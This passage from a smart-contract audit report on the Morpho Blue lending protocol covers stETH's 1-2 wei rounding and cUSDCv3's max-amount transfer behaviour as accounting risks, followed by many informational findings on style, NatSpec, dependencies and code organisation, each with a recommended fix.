+Take `stETH` as an example, it has a 1-2 wei corner case problem which could even be a bigger ratio in the future, this basically means that the transferred amount would be 1-2 wei less than expected when introducing an amount to transfer. This is because an integer division happens and rounding down applies. You can read more about it in the official documentation: https://docs.lido.fi/guides/lido-tokens-integration-guide/#1-2-wei-corner-case
+
+This is the code of the StETH.sol contract: https://github.com/lidofinance/lido-dao/blob/master/contracts/0.4.24/StETH.sol
+
+This is the `transfer()` function of stETH:
+
+```solidity
+ function transfer(address _recipient, uint256 _amount) external returns (bool) {
+ _transfer(msg.sender, _recipient, _amount);
+ return true;
+ }
+```
+
+The amount to be transffered, `_sharesToTransfer` is calculated by `getSharesByPooledEth() `as we can see in the internal `_transfer() `method:
+
+```solidity
+ function _transfer(address _sender, address _recipient, uint256 _amount) internal {
+ uint256 _sharesToTransfer = getSharesByPooledEth(_amount);
+ _transferShares(_sender, _recipient, _sharesToTransfer);
+ _emitTransferEvents(_sender, _recipient, _amount, _sharesToTransfer);
+ }
+```
+
+The function getSharesByPooledEth() is as follows:
+
+```solidity
+ function getSharesByPooledEth(uint256 _ethAmount) public view returns (uint256) {
+ return _ethAmount
+ .mul(_getTotalShares())
+ .div(_getTotalPooledEther());
+ }
+```
+
+If we check Etherscan, we can see that this method will return a 0 when trying to transfer 1 wei. This means, that if a user tries to deposit 1 wei of stETH, in reality 0 tokens will be transferred. One can check that this statement hold true by reading from the`StETH.sol`deployed contract: https://etherscan.io/token/0xae7ab96520de3a18e5e111b5eaab095312d7fe84#readProxyContract
+
+- 2
+
+Some tokens such as [cUSDCv3](https://etherscan.io/address/0xbfc4feec175996c08c8f3a0469793a7979526065#code) contain a special case for `depositAmount == type(uint256).max` in their transfer functions that result in only the user's balance being transferred, which would lead to massive exploits as contracts current implementation would assume that `type(uint256).max` has been provided.
+
+The ERC20 implementation of transferFrom of the cUSDCv3 token:
+
+```solidity
+ function transferFrom(address src, address dst, uint amount) override external returns (bool) {
+ transferInternal(msg.sender, src, dst, baseToken, amount);
+ return true;
+ }
+```
+
+which calls the internal transferInternal function here If you call depositAsset() with type(uint256).max it only transfers the amount of tokens the user owns.
+
+```
+ function transferInternal(address operator, address src, address dst, address asset, uint amount) internal {
+ if (isTransferPaused()) revert Paused();
+ if (!hasPermission(src, operator)) revert Unauthorized();
+ if (src == dst) revert NoSelfTransfer();
+
+ if (asset == baseToken) {
+ if (amount == type(uint256).max) {
+ amount = balanceOf(src);
+ }
+ return transferBase(src, dst, amount);
+ } else {
+ return transferCollateral(src, dst, asset, safe128(amount));
+ }
+ }
+```
+
+> NB: Checking out the sister repos of `morpho-blue` we can see that this concept is heavily used when integrating tokens in the bundlers, i.e pass `type(uint256).max` to send/withdraw the entire initiator's balance, which puts this case in retrospect as protocol should protect against it.
+
+- Impact
+
+For the first case this effectively causes accounting issues, note that since transfers are made in multiple section of `Morpho.sol` there's no point in pinpointing the real amount of damage this could cause, the most simple case would be to assume that multiple users deposit to protocol and decide to withdraw within a short time frame, **all but one** users would be able to withdraw their tokens, this is cause the 1-2 wei difference would cause the last withdrawal attempt to revert and effectively causing the last user's funds to be stuck in the protocol._NB this is with the 1-2 wei case, in some cases more than one user could be affected since this completely affects accounting logic of the protocol_.
+
+The second case is a bit more subtle as the checks for ensuring provided assets are safely converted to `uint128` would cause this to revert, but it still seems as a best practise is missing.
+
+- Recommended Mitigation Steps
+
+For both checking the differences in balance might help, but to suggest a more linked fix, then for _1_, consider using `transferShares()` to be precise, i.e as suggested in the official documentation of Lido that I attached before.
+
+> NB: The same fix should be applied to any ither token that implements this.
+
+For _2_, a better documentation could just be attached with this, regarding how even if these types of tokens are supported, then this specific functionality is not supported, and an attempt to use this would revert anyways.
+
+
+
+
+### Current implementation of pricing is a downside and would limit massive adoption
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+The protocol integrates an oracle agnostic pricing methodology as can be seen from the [whitepaper](), problem with this is that protocol requires the pricing of the provided assets to be in the loan assets, i.e using the multiple assets system similar to what's been hinted in the Whitepaper:
+
+Say a market would like to support three diiferent tokens, and the loan asset in this case is WETH, but of all these three assets one does not have a feed against a ETH, using ANKR _picked for POC reason_, on Chainlink it doesn't have an active feed against ETH, which means that this cannot be created, limiting adoption, cause the only way would be to integrate it with it's USD feed which is very wrong and would break all pricing functionalities.
+
+- Impact
+
+Limitation of adoption, as if there is no active oracle that provides the price of the an asset that's to be provided in the loan asset then the market cannot be created
+
+- Recommended Mitigation Steps
+
+Allow pricing logic for a particular asset to span multiple routes if needed, i.e in the case of `ANKR` now, the price from `ANKR/USD` can be attached with the price from `ETH/USD` to get it's value in `ETH`.
+
+
+
+
+### Setters should always have equality checkers
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+
+- Proof of Concept
+
+Take a look at `setAuthorization()`
+
+```solidity
+ function setAuthorization(address authorized, bool newIsAuthorized) external {
+ isAuthorized[msg.sender][authorized] = newIsAuthorized;
+
+ emit EventsLib.SetAuthorization(msg.sender, msg.sender, authorized, newIsAuthorized);
+ }
+
+```
+
+As seen unlike other functions within protocol that include setters, this function doesn't check if the new value is same as the previous value of `isAuthorized`.
+
+- Impact
+
+Code missing importaant structure.
+
+- Recommended Mitigation Steps
+
+It's a rule of thumb to always include equality checkers while settig new values, this should also be followed.
+
+
+
+
+### Function ordering in the contract does not follow the Solidity style guide
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+The Solidity Style Guide recommends a specific order of layout for elements within a contract. This guideline is designed to enhance readability and maintainability of the code. However, in the examined contract, there are instances where the functions are not ordered as per the recommended style, which may lead to readability and maintainability issues.
+
+Instances are `src/Morpho.sol` and `src/interfaces/IMorpho.sol`
+
+- Style Guide Recommendations
+The recommended order as per the Solidity Style Guide is:
+1. **Type Declarations** (enums, structs)
+2. **State Variables**
+3. **Events**
+4. **Modifiers**
+5. **Constructor**
+6. **Fallback or Receive Function** (if present)
+7. **External Functions**
+8. **Public Functions**
+9. **Internal Functions**
+10. **Private Functions**
+11. **Utility Functions or Libraries**
+
+- Recommendation
+**Reorganize Functions:** Refactor the contract to reorder the functions according to the Solidity Style Guide. This includes grouping functions by their visibility (external, public, internal, private) and placing them in the recommended order.
+
+
+
+### Imports could be organized more systematically
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+In Solidity, organizing imports systematically enhances code readability and maintainability. Ideally, the contract's interface should be imported first, followed by the interfaces it uses, and then all other files. However, an instance has been identified where the imports in a contract are not systematically organized.
+
+Non-systematic import organization in `src/Morpho.sol`:
+
+- Recommendation
+**Reorganize Imports:** Arrange the imports in `src/Morpho.sol` to follow a more systematic order:
+ - Import the contract’s own interface first (`IMorphoStaticTyping`, `IMorphoBase`).
+ - Follow with imports of interfaces that the contract uses (`IMorphoLiquidateCallback`, `IMorphoRepayCallback`, etc.).
+ - Then import other external interfaces (`IIrm`, `IERC20`, `IOracle`).
+ - Finally, import local files and libraries (`ConstantsLib`, `UtilsLib`, `EventsLib`, etc.).
+
+
+
+### Interfaces should be defined in separate files from their usage
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+In Solidity, it is a best practice to define interfaces in separate files from where they are used. This approach not only aids in reusability and modularity but also prevents duplication. It is especially important for interfaces that might be imported by multiple contracts or libraries within the same project or by external projects.
+
+In `src/libraries/SafeTransferLib.sol` where interfaces are defined within the same file as their usage:
+ The `IERC20Internal` interface is defined and used within the `SafeTransferLib.sol` file.
+
+- Recommendation
+**Create Separate Interface Files:** Extract the `IERC20Internal` interface definition from `SafeTransferLib.sol` and place it in its own file within the `interfaces` directory.
+
+
+
+### Non-assembly method available _(this issue has been rejected)_
+
+**Severity:** Informational
+
+**Context:** [MarketParamsLib.sol#L18-L18](morpho-org-morpho-blue-f463e40/src/libraries/MarketParamsLib.sol#L18-L18)
+
+- Description
+The use of inline assembly in Solidity can increase code complexity and potentially introduce risks if not used carefully. Automated tools often flag inline assembly as a higher complexity feature. It's recommended to use Solidity's native constructs where possible for simplicity and safety.
+
+```js
+📁 File: src/libraries/MarketParamsLib.sol
+
+18: marketParamsId := keccak256(marketParams, MARKET_PARAMS_BYTES_LENGTH)
+```
+
+- Recommendation
+Replace the inline assembly with Solidity's native function to compute the keccak256 hash. The updated code should be more readable and maintainable, reducing complexity and aligning with best practices. The modification might look like this:
+
+```js
+marketParamsId = keccak256(abi.encodePacked(marketParams));
+```
+
+- Benefits of the Change
+**Reduced Complexity**: Simplifies the codebase by removing lower-level assembly code.
+
+
+
+### Non-external/public function names should begin with an underscore
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+According to the Solidity Style Guide, non-`external`/`public` function names should begin with an underscore. This naming convention helps distinguish internal and private functions from public and external ones, enhancing code readability and maintainability.
+
+There are 48 instances across various files in the Morpho project where internal functions do not follow this naming convention. For example:
+
+1. In `MarketParamsLib.sol`, the function `id` should be renamed to `_id`.
+2. In `MathLib.sol`, functions like `wMulDown`, `wDivDown`, etc., should start with an underscore (`_wMulDown`, `_wDivDown`, etc.).
+3. Similar naming inconsistencies are found in `SafeTransferLib.sol`, `SharesMathLib.sol`, `UtilsLib.sol`, `MorphoBalancesLib.sol`, `MorphoLib.sol`, and `MorphoStorageLib.sol`.
+
+- Recommendation
+Rename all non-`external`/`public` functions by prefixing them with an underscore. For instance:
+- Change `function id(...)` to `function _id(...)`
+- Change `function wMulDown(...)` to `function _wMulDown(...)`
+
+- Benefits of the Change
+**Improved Readability**: The naming convention makes it easier to understand the scope and accessibility of functions at a glance.
+
+
+
+### Not using the latest versions of project dependencies
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+- Dependency: `forge-std`
+- Current Version in Use: 1.5.6
+- Latest Available Version: 1.7.3
+- File Reference: [Morpho.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol)
+
+The Morpho project is using an outdated version of the `forge-std` dependency. Keeping dependencies updated is crucial for ensuring the security, performance, and compatibility of the project.
+
+- Recommendation
+**Update `forge-std` to Version 1.7.3**: Upgrade the `forge-std` library to the latest version. This can typically be done by updating the version number in the project’s package configuration file (e.g., `package.json` for npm/yarn projects).
+
+
+
+### Outdated Solidity version
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+The Morpho project is currently using an outdated version of Solidity, missing out on recent improvements, optimizations, and bug fixes introduced in later versions.
+
+- Details of the Current Situation
+- Current Version in Use: 0.8.19
+- Latest Version Available: 0.8.21
+- Total Instances: 17
+- Example File Reference: [Morpho.sol](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol)
+
+- New Features and Fixes in Recent Versions
+- **0.8.20 to 0.8.21**: Various improvements including optimizations for the EVM, better parsing, more concise SMTChecker reports, and relaxed restrictions on initializing immutable variables. [Read more](https://soliditylang.org/blog/2023/07/19/solidity-0.8.21-release-announcement).
+
+- Recommendation
+- **Update to Solidity 0.8.21**: It's recommended to upgrade the Solidity version to take advantage of the latest features and bug fixes.
+
+- Benefits of Updating
+**Access to New Features**: Each new version of Solidity brings new features that can improve the efficiency and capabilities of smart contracts.
+
+
+
+### State variables should include comments
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+The Morpho project's codebase lacks comments on several critical state variables within the `MorphoStorageLib.sol` file. This absence of descriptive comments can hinder code readability, maintainability, and future reviews.
+
+- Details of the Current Situation
+- File in Question: `MorphoStorageLib.sol`
+- Instances Identified: 19
+- Example: [Line 14](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/periphery/MorphoStorageLib.sol#L14-L22)
+
+- Recommendation
+- **Add Descriptive Comments**: For each state variable, include a comment that explains its purpose, usage, and any relevant details. This will enhance the understanding for future developers and reviewers.
+
+- Examples of Critical Variables Needing Comments
+1. `OWNER_SLOT`: Likely refers to the storage slot for the contract owner. A comment should explain its role in access control.
+2. `FEE_RECIPIENT_SLOT`: Presumably indicates the recipient of any fees. Clarification on how fees are determined and who can be a recipient would be useful.
+3. `POSITION_SLOT` and `MARKET_SLOT`: These seem to relate to specific financial positions or market data. Details on their structure and usage are crucial.
+4. `IS_IRM_ENABLED_SLOT` and `IS_LLTV_ENABLED_SLOT`: These variables suggest toggleable features (Interest Rate Model and Loan-To-Value). Comments should clarify their functionality and impact.
+5. `ID_TO_MARKET_PARAMS_SLOT`: This might map IDs to market parameters. Describing the mapping's structure and application is necessary.
+
+- Benefits of Adding Comments
+- **Enhanced Readability**: Well-commented code is easier to understand and navigate, especially for new contributors.
+- **Facilitates Maintenance**: Clear comments can significantly reduce the time needed for future modifications or debugging.
+
+
+
+### Typos in IMorpho.sol
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+The Morpho project's Solidity code contains several typographical errors that may lead to misunderstandings or misrepresentations.
+
+```js
+📁 File: src/interfaces/IMorpho.sol
+
+/// usecases -> use cases
+132: /// @dev Either `assets` or `shares` should be zero. Most usecases should rely on `assets` as an input so the caller
+
+/// usecases -> use cases
+175: /// @dev Either `assets` or `shares` should be zero. Most usecases should rely on `assets` as an input so the caller
+```
+
+[132](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L132),
+[175](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L175)
+
+- Recommendation
+Correcting typos eliminates potential confusion, ensuring clear communication of the code's intent.
+
+
+
+### Use a struct to encapsulate multiple function parameters
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+In the `Morpho.sol` and `IMorpho.sol` files within the project's codebase, several functions are identified with an overload of parameters. Adopting structs to bundle these parameters could significantly enhance the code's readability, maintainability, and reduce error potential.
+
+- Instances
+
+**`Morpho.sol` Functions:**
+ - [Supply Function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L166-L172)
+ - [Withdraw Function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L197-L203)
+ - [Borrow Function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L232-L238)
+ - [Repay Function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L266-L272)
+ - [Liquidate Function](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L350)
+
+**`IMorpho.sol` Interface Declarations:**
+ - [Supply](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L145)
+ - [Withdraw](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L166)
+ - [Borrow](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L189)
+ - [Repay](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L210)
+ - [Liquidate](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L252)
+
+- Recommendation
+**Implement Structs for Parameters:** Introduce structs to group parameters for each function, thereby simplifying the function signatures and enhancing clarity.
+
+- Example Implementation:
+
+For the `supply` function, a possible struct could be:
+
+```solidity
+struct SupplyParams {
+ MarketParams marketParams;
+ uint256 assets;
+ uint256 shares;
+ address onBehalf;
+ bytes calldata data;
+}
+```
+
+The function signature would then be simplified to:
+```solidity
+function supply(SupplyParams memory params) external returns (uint256, uint256);
+```
+
+
+
+### Use bytes.concat() on bytes instead of abi.encodePacked() for clearer semantic meaning
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description:
+In the `Morpho.sol` file of the project's codebase, there is an instance where `abi.encodePacked()` is used for concatenating bytes. With the introduction of Solidity 0.8.4, the `bytes.concat()` function provides a clearer and more semantically meaningful way to concatenate bytes/strings without extra padding. Updating this can enhance code clarity and reduce confusion for reviewers.
+
+- Detailed Analysis:
+
+**Location of Issue:**
+ - **File:** `src/Morpho.sol`
+ - **Specific Line:** 440
+ - **Code Snippet:** `bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));`
+ - **GitHub Link:** [View Code on GitHub](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L440-L440)
+
+**Current Implementation:**
+ - Utilizes `abi.encodePacked()` for concatenating byte sequences.
+
+**Recommended Change:**
+ - Replace `abi.encodePacked()` with `bytes.concat()` for more explicit and clear operation.
+
+- Benefits of `bytes.concat()`:
+
+**Clearer Semantics:** Directly indicates the operation of byte concatenation without additional encoding steps, leading to more readable and understandable code.
+
+**No Padding:** Ensures that the concatenated bytes are joined as-is, without any extra padding that might occur with other methods.
+
+- Recommendation
+
+**Before:**
+ ```solidity
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ ```
+
+**After:**
+ ```solidity
+ bytes32 digest = keccak256(bytes.concat("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ ```
+
+
+
+
+### Use EIP-5627 to describe EIP-712 domains
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description:
+The current implementation in the `ConstantsLib.sol` file of the project uses a hardcoded `DOMAIN_TYPEHASH` for EIP-712 domains. Adopting EIP-5627, which standardizes the retrieval and description of EIP-712 hash domains, can greatly enhance external interoperability and verification processes. This is particularly beneficial for projects with presence across multiple chains or contracts.
+
+- Detailed Analysis:
+
+**Location of Issue:**
+ - **File:** `src/libraries/ConstantsLib.sol`
+ - **Specific Line:** 17
+ - **Code Snippet:** `bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");`
+ - **GitHub Link:** [View Code on GitHub](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ConstantsLib.sol#L17)
+
+**Current Implementation:**
+ - Utilizes a constant `DOMAIN_TYPEHASH` for defining EIP-712 domains.
+
+**Suggested Change:**
+ - Implement EIP-5627 to dynamically describe EIP-712 domains.
+
+- Advantages of Using EIP-5627:
+1. **Enhanced Transparency:** Allows external tools and users to view the fields and values describing their domain, offering greater transparency and trust.
+2. **Cross-Chain Verification:** Facilitates easier verification of signatures across different chains, forks, or contract versions, ensuring correctness and relevance.
+3. **Dynamic Domain Description:** Provides a more flexible approach to describe domain structures, adapting to different contexts or contract updates.
+
+- Recommendation
+
+Replace the hardcoded `DOMAIN_TYPEHASH` with a dynamic approach that adheres to EIP-5627 standards. This would involve creating a mechanism to generate and retrieve domain descriptions based on current contract states, chain IDs, or other relevant parameters.
+
+**Example Code Structure:**
+ ```solidity
+ // Implementation adhering to EIP-5627
+ function getDomainTypehash() public view returns (bytes32) {
+ // Dynamic retrieval and description of the EIP-712 domain
+ // Adapted to the current context (chain, contract, version, etc.)
+ }
+ ```
+
+
+
+### Top-level declarations should be separated by at least two lines
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+The Morpho project's Solidity files lack adequate spacing between top-level declarations, affecting code readability and clarity.
+
+- Details of the Current Situation
+- Identified Instances: 21
+- Affected Files: `Morpho.sol`, `IMorpho.sol`, `IMorphoCallbacks.sol`, `IOracle.sol`, and others.
+- Example: In `Morpho.sol`, [lines 38-49](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L38-L49), multiple using declarations are crammed together without adequate spacing.
+
+- Example of Improper Spacing
+In `src/Morpho.sol`:
+```solidity
+38: contract Morpho is IMorphoStaticTyping {
+39: using MathLib for uint128;
+40: using MathLib for uint256;
+41: using UtilsLib for uint256;
+42: using SharesMathLib for uint256;
+43: using SafeTransferLib for IERC20;
+44: using MarketParamsLib for MarketParams;
+45:
+46: /* IMMUTABLES */
+47:
+48: /// @inheritdoc IMorphoBase
+49: bytes32 public immutable DOMAIN_SEPARATOR;
+```
+- Spacing between `using` statements and the `/* IMMUTABLES */` comment needs improvement.
+
+- Recommendation
+- **Add Spacing**: Include at least two lines of spacing between top-level declarations (contracts, interfaces, libraries, etc.).
+- **Consistency**: Apply this spacing consistently across all Solidity files in the project for uniformity.
+
+- Benefits of Adding Spacing
+- **Enhanced Readability**: Adequate spacing makes the code easier to read and navigate.
+- **Improved Structure**: Clear separation of declarations helps in understanding the structure and flow of the code.
+
+
+
+### NatSpec: Contract declarations should have @author, @dev, @notice, @title tags and NatSpec description
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+NatSpec (Natural Language Specification) is an essential documentation standard in `Solidity Contracts`, used primarily for annotating smart contracts. It employs several tags to enhance understanding and clarity:
+
+1. The `@author` tag is pivotal in contract declarations, identifying the contract's author or maintainer, thereby adding context and accountability.
+2. The `@dev` tag provides in-depth technical insights into contracts or libraries, focusing on developer-centric details.
+3. The `@notice` tag is used for explaining the purpose and functionality of contracts and interfaces, aimed at both end users and developers.
+4. The `@title` tag offers a concise title for contracts or interfaces, aiding quick comprehension of their purpose.
+5. It is recommended that Solidity contracts are fully annotated using NatSpec for all public interfaces (everything in the ABI). It is clearly stated in the Solidity official documentation. In complex projects such as DeFi, the interpretation of all functions and their arguments and returns is important for code readability and auditability.
+
+- Instances
+**Instances missing `@author` tags:**
+1. `src/interfaces/IMorpho.sol`
+ - [Lines 50-52](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L50-L52) (IMorphoBase interface)
+ - [Lines 293-295](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L293-L295) (IMorphoStaticTyping interface)
+2. `src/interfaces/IMorphoCallbacks.sol`
+ - [Lines 5-7](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L5-L7) and onwards for each callback interface.
+3. `src/libraries/SafeTransferLib.sol`
+ - [Lines 7-9](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L7-L9) (IERC20Internal interface)
+
+**Instances missing `@dev` tags in their NatSpec comments:**
+1. `src/Morpho.sol` [Line 37](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L37-L39) - `Morpho` contract declaration.
+2. `src/interfaces/IIrm.sol` [Line 9](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L9-L11) - `IIrm` interface declaration.
+3. `src/interfaces/IMorphoCallbacks.sol` - Interface declarations starting from [Line 5](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorphoCallbacks.sol#L5-L7) and onwards for each callback interface.
+4. `src/libraries/ErrorsLib.sol` [Line 7](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/ErrorsLib.sol#L7-L9) - `ErrorsLib` library.
+5. `src/libraries/EventsLib.sol` [Line 9](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/EventsLib.sol#L9-L11) - `EventsLib` library.
+6. `src/libraries/MarketParamsLib.sol` [Line 9](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MarketParamsLib.sol#L9-L11) - `MarketParamsLib` library.
+7. `src/libraries/MathLib.sol` [Line 9](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/MathLib.sol#L9-L11) - `MathLib` library.
+8. `src/libraries/SafeTransferLib.sol` [Line 7](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L7-L9) - `SafeTransferLib` library.
+
+**Instances missing `@notice` tags in their NatSpec comments:**
+1. `src/interfaces/IMorpho.sol`
+ - `IMorphoBase` interface [Lines 51-57](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L51-L57).
+ - `IMorphoStaticTyping` interface [Lines 294-300](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L294-L300).
+ - `IMorpho` interface [Lines 333-339](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L333-L339).
+2. `src/libraries/SafeTransferLib.sol`
+ - `IERC20Internal` interface [Lines 8-14](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L8-L14).
+
+**Instances missing `@title` tags in their NatSpec comments:**
+1. `src/interfaces/IMorpho.sol`
+ - `IMorphoBase` interface [Lines 50-52](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L50-L52).
+ - `IMorphoStaticTyping` interface [Lines 293-295](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IMorpho.sol#L293-L295).
+2. `src/libraries/SafeTransferLib.sol`
+ - `IERC20Internal` interface [Lines 7-9](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/libraries/SafeTransferLib.sol#L7-L9).
+
+- Recommended Mitigation Steps
+- **Add `@author` Tags:** Update the NatSpec comments in the identified files to include the `@author` tag, clearly stating the author or maintainer of each interface or library.
+- **Add `@dev` Tags:** Update the NatSpec comments in the identified files to include the `@dev` tag. This tag should provide technical information about the contract, interface, or library, such as its purpose, how it should be used, and any important technical considerations.
+- **Add `@notice` Tags:** Update the NatSpec comments in the identified files to include the `@notice` tag. This tag should provide a clear, user-oriented description of what the contract, interface, or library does.
+- **Add `@title` Tags:** Update the NatSpec comments in the identified files to include the `@title` tag. This tag should provide a succinct title that encapsulates the main purpose or functionality of the contract, interface, or library.
+- **Add NatSpec Description**
+
+
+
+### NatSpec: Function declarations should have @notice, @param, @return tags and NatSpec description
+
+**Severity:** Informational
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Description
+NatSpec (Natural Language Specification) is an essential documentation standard in `Solidity Functions`, used primarily for annotating smart contracts. However, numerous functions in the project are missing `@notice` tags, potentially leading to ambiguity regarding their purpose and usage. It employs several tags to enhance understanding and clarity:
+
+1. The `@notice` tag. `@notice` is used to explain to end users what the function does, and the compiler interprets `///` or `/**` comments as this tag if one was't explicitly provided.
+2. The `@param` tag. It is recommended that Solidity functions are fully annotated using NatSpec for all public interfaces (everything in the ABI). It is clearly stated in the Solidity official documentation. In complex projects such as DeFi, the interpretation of all functions and their arguments and returns is important for code readability and auditability.
+3. The `@return` tag. It is recommended that Solidity functions are fully annotated using NatSpec for all public interfaces (everything in the ABI). It is clearly stated in the Solidity official documentation. In complex projects such as DeFi, the interpretation of all functions and their arguments and returns is important for code readability and auditability.
+4. It is recommended that Solidity functions are fully annotated using NatSpec for all public interfaces (everything in the ABI). It is clearly stated in the Solidity official documentation. In complex projects such as DeFi, the interpretation of all functions and their arguments and returns is important for code readability and auditability.
+
+- Instances
+**Instances missing `@notice` tags in their NatSpec comments:**
+
+1. **`src/Morpho.sol`**
+ - `_isSenderAuthorized` function [Line 455](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L455-L455).
+ - `_accrueInterest` function [Line 471](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L471-L471).
+ - `_isHealthy` function [Line 501](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L501-L501).
+
+**Instances of missing `@param` tags in NatSpec comments across various files in the Morpho project:**
+
+1. **File: `src/Morpho.sol`**
+ - Multiple functions including `constructor`, `_isSenderAuthorized`, `_accrueInterest`, `_isHealthy`, and others lack `@param` tags for their parameters [Lines 75, 455, 471, 501, 513-517](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L75-L517).
+2. **File: `src/interfaces/IIrm.sol`**
+ - Functions `borrowRate` and `borrowRateView` missing `@param` tags [Lines 13, 17](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/interfaces/IIrm.sol#L13-L17).
+3. **File: `src/interfaces/IMorpho.sol`**
